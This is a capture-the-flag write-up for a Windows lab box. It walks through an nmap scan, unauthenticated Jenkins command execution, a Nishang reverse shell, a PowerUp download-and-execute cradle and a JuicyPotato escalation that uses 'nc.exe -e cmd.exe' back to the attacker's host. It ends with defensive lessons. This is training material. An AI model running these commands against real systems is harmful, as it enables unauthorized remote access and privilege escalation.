First we want to run a initial nmap scan to see what ports are open and what services are on those ports.
Copy nmap -sC -sV -oA nmap/init 10.129.174.184 -sC : run default nmap scripts
-sV : detect service version
-oA : output all formats to nmap/initial
We get back the following information:
Copy Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 20:19 EDT

Exploring IIS
Looking at the http site we are presented with a search bar
Searching takes you to error.html which turns out to just be an image
Source code for site, the action results in error.html
Copy <!DOCTYPE html>

Quickly checking gobuster for jetty shows that we have a directory to check out
Going there we see Jenkins!
Turns out we have command execution without needing to be logged in which works in our favor
Initial Access
Using Nishang Invoke-PowerShellTcp.ps1 script we can create a reverse shell and get access to the box
First we want to copy the example to the bottom of the script so that it is run when copied to the machine we are attacking
Next we want to get a web server running and a netcat listener to catch the reverse shell. In this se I am using updog for my simple web server.
Using the script console again I run this command to download and execute the invoke powershell tcp reverse shell script
And we get a shell back!
This allows us to get user.txt!
Privilege Escalation
Juicy Potato
Next we want to run PowerUp.ps1 however we want to use the dev branch as it has extra checks
Then we want to run these commands in our reverse shell
Copy IEX(New-Object Net.WebCLient).downloadString('http://10.10.14.92/PowerUp.ps1')
Invoke-AllChecks # This runs the powershell function to check everything Right away we see SeImpersonatePrivilege which means this box is vulnerable to Juicy Potato!
We first need to download JuicyPotato.exe to the box which I am hosting from my kali box
We need to copy kali's nc.exe to the windows box
Copy # nc.exe is located /usr/share/windows-resources/binaries/nc.exe on kali
Invoke-WebRequest "http://10.10.14.92/nc.exe" -OutFile "nc.exe" Next we want to run JuicyPotato!
This is the input I used:
-p: c:\windows\system32\cmd.exe
-a: "/c c:\users\kohsuke\desktop\nc.exe -e cmd.exe 10.10.14.92 9001"
Copy cmd /c jp.exe -l 9001 -p c:\windows\system32\cmd.exe -a "/c c:\users\kohsuke\desktop\nc.exe -e cmd.exe 10.10.14.92 9001" -t * We got nt authority\system!
When we try and take a look at the administrators desktop we see hm.txt with an interesting message
Then I tried this
Alternate Data Streams, find more about them here
Copy C:\Users\Administrator\Desktop>more < hm.txt:root.txt
more < hm.txt:root.txt
afbc5bd4b615a606 # Only first 16 bytes of hash shown Lessons Learned
Restrict who can access the Jenkins management as this opens up unauthorized access
In some instances a file using alternate data streams could be an indicator of compromise
Be careful of which service users have SeImpersonatePrivilege as this could allow an attacker to easily escelate their privileges
